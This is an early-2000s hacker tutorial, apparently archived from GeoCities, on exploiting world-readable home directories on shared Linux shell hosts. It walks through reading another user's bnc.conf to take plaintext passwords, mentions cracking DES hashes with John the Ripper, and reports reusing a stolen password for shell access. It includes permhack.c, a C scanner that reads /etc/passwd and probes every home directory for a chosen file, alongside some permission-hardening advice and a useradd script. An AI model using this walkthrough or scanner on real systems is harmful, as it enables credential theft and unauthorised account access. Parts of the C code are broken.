___________    ____________    ____  __  ___    ______________
  |\    ____  \  |\    ____   \  |\   \|\ \|\  \  |\_____    ____\
  | \   \__|\  \ | \   \__|\   \ | \   \ \ \ \  \ | |   |\   \   |
  \  \    ___   | \ \    ____   \ \ \   \_| \_|  \ \|___| \   \__|
   \  \   \_|\  \_ \ \   \__|\   \ \ \      _     \      \ \   \
    \  \   \\ \   \ \ \   \ \ \   \ \ \     |\ http://www.haxworx.com
     \  \___\\ \___\ \ \___\ \ \___\ \ \____| \_____\      \ \___\
      \ |   | \ |   | \ |   | \ |   | \ |   |\ |    |       \ |   |
       \|___|  \|___|  \|___|  \|___|  \|___| \|____|        \|___|
 
 +-----------------------------------------------------------------------+
 |  Shell Misconfiguration Hacking (Understanding File Permissions)      |
 |  Author: BrainRawt                                                    |
 |  Email: brainrawt@hotmail.com                                         |
 |  Site: http://www.haxworx.com                                         |
 |  Greetz to grep and b0iler.                                           |
 +-----------------------------------------------------------------------+

 Updated on 5-11-02
 
 NOTE: This text will talk about logging into a shell via telnet/ssh but
       it must be known that with the proper cgi script, you can do all 
       this hacking via a web-browser as well.

 A Word from BrainRawt.......

 Many people will get a shell account and not understand the security 
 that is involved in using it.  In my past experiences, I have found
 many /home/username dirs that offer alot of information. Information
 that Im sure they dont think is available to me.  In this text we will
 use a "bounce" as an example.  Keep in mind that many things require
 config files with passwds in them. :)

 ------------------------------------------
 Whats the Problem?
 ------------------------------------------
 Most /home/username dirs have the 755 permissions.  This means that anyone
 can read/execute from within the /home/username dir. I can understand a
 user wanting these permissions on their "$HOME" dir if they are using their
 public_html dir to offer a webpage to the public.  If this is the case then
 the user must take other precautions to allow access to the /home/username/public_html
 without allowing access to everything else in the /home/username dir.

 ------------------------------------------
 Why is This a Problem?
 ------------------------------------------
 Lets say that we are logged into our shell and we have just performed a
 "ps aux | grep bnc".  This will search the system for running processes 
 and echo back to us any information it finds on "bnc".

 [rawt@linux rawt]$ ps aux | grep bnc     ( NOTE: we can grep for anything. )

 lamah-joe    1059  0.0  0.2  1460  656 ?        S    Jun30   0:02 ./bnc

 [rawt@linux rawt]$

 Now we know that lamah-joe is running a ./bnc (bounce).  Why do we care? We care
 because most bounces require a password to be used.  That password must be in a 
 config file for the bounce.  :)

 Now we check lamah-joes home dir for permissions.

 [rawt@linux rawt]$ ls -alk /home | grep lamah-joe

 drwxr-xr-x    8 lamah-joe   lamah-joe       4096 Jun 29 01:28 lamah-joe

 [rawt@linux rawt]$ 
 
 -------------------------------------------
 Understanding Permissions
 -------------------------------------------
 permission      username    groupname
 drwxr-xr-x    8 lamah-joe   lamah-joe       4096 Jun 29 01:28 lamah-joe
 
 Breaking Down Permissions

 The first rwx are the owner permssions
 The second r-x are the group permissions
 The third r-x are the "world" permissions.

 So in our case above, we can see that lamah-joe can "read/write/execute", anyone in the
 lamah-joe group can "read/execute", and everyone else can "read/execute".

 Everyone else = we the hackers. :)

 -------------------------------------------
 Performing the Hack
 -------------------------------------------

 Thanks to the almighty read/execute permissions we have on this users "$HOME" dir, we
 can just perform an "ls" in their home dir.  HAHA  LAME!

 [rawt@linux /home]$ ls -alk /home/lamah-joe/
 
 drwx------    5 lamah-joe   lamah-joe       4096 Jul  4 09:49 .
 drwxrwsr-x   62 root        staff           4096 Jun 30 00:00 ..
 -rw-r--r--    1 lamah-joe   lamah-joe        266 Feb 19 16:53 .alias
 -rw-------    1 lamah-joe   lamah-joe        319 Jul  4 12:06 .bash_history
 -rw-r--r--    1 lamah-joe   lamah-joe        134 Feb 19 16:53 .bash_logout
 -rw-r--r--    1 lamah-joe   lamah-joe        409 Feb 19 16:53 .bash_profile
 -rw-r--r--    1 lamah-joe   lamah-joe        509 Feb 19 16:53 .bashrc
 -rw-r--r--    1 lamah-joe   lamah-joe        375 Feb 19 16:53 .cshrc
 drwx------    2 lamah-joe   lamah-joe       4096 Jul  4 09:49 .ssh
 -rw-r--r--    1 lamah-joe   lamah-joe     121323 Jun 19 04:46 nbtscan-1.0.2.tar.gz
 -rw-r--r--    1 lamah-joe   lamah-joe     584385 Jun 19 04:42 nmap-2.53.tgz
 drwx---r-x    5 lamah-joe   lamah-joe       4096 Jun 23 22:57 nmap
 drwxr-xr-x    5 lamah-joe   lamah-joe       5132 Jun 27 06:19 bounce
 
 [rawt@linux /home]$
 
 -----------------------------------------------------------------------------------------------
 What if the users home dir only allows me to execute and i cant view the contents in his/her
 home dir?  How am i going to find what i need? If this is the case then i suggest that you
 either know exactly what you are looking for or you use the "locate" command.  HINT: If the   
 /home/username only allows you execution and not read, it doesnt mean that the dirs inside the  
 /home/username have the same permissions.
 -----------------------------------------------------------------------------------------------  

 We found that almighty wonderful "bounce" dir and it is world "read/execute" :).  Now for the   
 configuration file within it.

 [rawt@linux /home]$ ls -alk /home/lamah-joe/bounce/ | grep bnc.conf
 
 -rw-r--r--    1 lamah-joe   lamah-joe        375 Feb 19 16:53 bnc.conf

 [rawt@linux /home]$

 How nice of lamah-joe to leave his bnc.conf file world readable.  :)  Lets get that bnc passwd. Now
 we view this bnc.conf file with our favorite unix editor. In my case its "pico".

 [rawt@linux /home]$ pico bnc.conf

 Inside bnc.conf i found 2 lines.......

 S:james123j                Password for Supervisor Access
 D:1337:5:6ji5hf            ListenPort:MaxUsers:Password

 Sometimes these passwds are encrypted.  Dont worry.  Its only DES. 
 You can decipher them with "John The Ripper".  

 --------------------------------------------
 lamah-joe has been 0wn3d!
 --------------------------------------------

 What have i gained from this users lack of linux permission knowledge?

 I have gained a free bounce on lamahshell.com.

 I have checked further and discovered that lamah-joe uses the same pass
 for his shell.

 Soooooo!!!!  What have i gained now?

 A free bnc on lamah.com
 and
 A free shell on lamah.com

 ---------------------------------------------------------------
 What Do We Do With This Information?
 ---------------------------------------------------------------
 
 We could use this new found information for malicious reasons.  We could
 use his bounce and not tell him or maybe even hack from his shell.  I suggest
 that we fix all lamah-joes permissions and then tell him what has happened.  This
 is our way of spreading this knowledge to those that need to know.  We had fun
 exploring and lamah-joe learns a lesson. 


 ---------------------------------------------------
 How Do We Protect Ourselves Against This?
 ---------------------------------------------------

 1. Study File Permissions, how to use them and what they mean.
 
 2. Learn how to use "chmod".  Type "man chmod" at a linux command prompt.
    (chmod is used to set file permissions.)

 3. I personally dont use the public_html in my shell accounts so i have a
    tendency to "chmod 700 /home/myusername".  This allows only myself 
    to enter my home dir.

 4. Always use encrypted and nondictionary passwds when available.  Some kiddies 
    may gain the ability to read your conf files but not all of them know how to 
    decipher encryption.


 --------------------------------------------------------------------------
 Here is a small "Exploit" to automate the searching of directories that
 are vulnerable to improper file permissions.
 --------------------------------------------------------------------------

 ------------ START COPY OF permhack.c ----------------

/*
 *
 * permhack.c By BrainRawt (Understanding The Importance Of File Permissions)
 * Email: brainrawt@hotmail.com
 * Site: http://rawt.daemon.sh
 *
 * Note: This source was coded as a proof of concept to those people that
 *       dont think file permissions are important. I know that this could 
 *       have been done alot easier in perl or shell script but I was wanting 
 *       to learn c so I thought that this would be a good start in my humble c beginning.
 *
 * The "passwd" path and the "/home/user" path may need modified for different
 * hosts or dif distros of linux.
 *
 *
 * usage: permhack  
 *
 *
 * Greetz to Soltan^Gris and Netstar for thier great help on this project. 
 */


#include 
#include 


int main(int argc, char *argv[])
  {

   
   FILE *passwd_file, *username_file, *log_file, *checkfile,*fopen ();
   int c, x,count;
   char *output_file;
   char * look4;
   char buffer[256];
   char buffer2[256];
     if (argc != 3) 
     { 
      printf("usage: %s:  \n", argv[0]);
      exit(1);
     }
   
   
   passwd_file = fopen ( "/etc/passwd", "r");
  
   if ( passwd_file == NULL )
 
       printf("\nSHIT! /etc/passwd either isnt there or we just cant read it.\n\n");

   else { 

     username_file = fopen ("usernames", "w");
       
     if ( username_file == NULL ) 
       
       printf("\nSHIT! Cant write my extracted usernames from /etc/passwd to ~/usernames?\n\n");

     else {

 
     int colon=0;
       while ( ( c = getc( passwd_file)) != EOF )
          {
          if(c==58)
          colon=1;
          if(c==10)
          colon=0;
          if(colon==0)
          putc (c, username_file);
 
          }
       fclose (username_file);
   
      
         look4 = argv[1];
         output_file = argv[2];
       
  
	
       username_file = fopen ("usernames", "r");
       
       if (username_file == NULL )
	 printf("\nCannot open usernames for reading\n\n");

       else {    
  
       log_file = fopen (output_file, "w"); 
       printf("looking for [%s] in the /home/user dirs and logging to [%s]\n\n", look4, output_file);
     
       
       count =0;
       while (( x = getc( username_file )) != EOF )      
            { 
             if ( x != '\n')
              {
               buffer2[count] = x;
               count++;
 
              }

              if(x == '\n')
               {
               sprintf(buffer,"/home/",buffer);
               sprintf(buffer,"%s%s/%s",buffer,buffer2,look4);
               count =0;
               checkfile = fopen(buffer,"r");
               if(checkfile != NULL)
                 {
                 printf("Found - %s\n",buffer);
                 fprintf(log_file," %s\n",buffer);
                 fclose(checkfile);
                 }  
              
               memset(buffer2,0,sizeof(buffer2));
               }

        }
       }
       
     } 
     printf("\n");
     fclose (passwd_file);
     fclose (username_file);
     fclose (log_file);
   }
   return (0);
  } 



 ------------- END COPY OF permhack.c -----------------


 --------------------------------------------------------------------------
 Here is a small shell script i wrote for an admin to use when creating
 a new account.  This will hopefully solve the problem discussed above.
 --------------------------------------------------------------------------

 ------------ START COPY OF newuser-----------------

#!/bin/sh
#
# My very quick and simple ass way to solving the insecure 
# permission problems for users on a shell.  We will protect
# their data in /home/username/bin via 700 and still allow access
# to ~/public_html via 755 so the webspace can still be used.  To protect
# from those snooping eyes that belong to other users on the system,
# we will chmod 711 the /home/username dir. This will stop anyone from
# viewing its contents. If you dont like this script then dont use it.  :P
#
# - BrainRawt (http://rawt.daemon.sh) (brainrawt@hotmail.com)

echo "What is the username of the account you wish to create?"
read LUSER
echo "Now creating account for $LUSER"
useradd $LUSER
if [ -d /home/$LUSER ];
 then
   chmod 711 /home/$LUSER
   mkdir /home/$LUSER/bin
   mkdir /home/$LUSER/public_html
 else
   echo "Where is the /home/$LUSER dir?"
fi

if [ -d /home/$LUSER/bin ];
 then
   chmod 700 /home/$LUSER/bin
   chown $LUSER:$LUSER /home/$LUSER/bin
  else 
   echo" Where is the /home/$LUSER/bin die?"
fi

if [ -d /home/$LUSER/public_html ];
  then
    chmod 755 /home/$LUSER/public_html
    chown $LUSER:$LUSER /home/$LUSER/public_html  
  else
    echo "Where is the /home/$LUSER/public_html?"
fi

echo "Account for $LUSER has been successfully created."
passwd $LUSER

cat > /home/$LUSER/README <<- _EOF_


      ATT: All users on this system can view any content
      that you place in your /home/YOURNAME dir.  Please be safe
      and use your /home/YOURNAME/bin dir to store files that you
      wish to keep private.  

      Thank You,
      Administration


_EOF_


 --------------- END COPY OF newuser-----------------



 --------------------------------------------------------------------------
 Which Looks Better?  BlackHat or White?  You Decide! - BrainRawt
 
 
 
 

 

 

 



 
 
 
 
   

    Source: geocities.com/eljehad1/other

               ( geocities.com/eljehad1)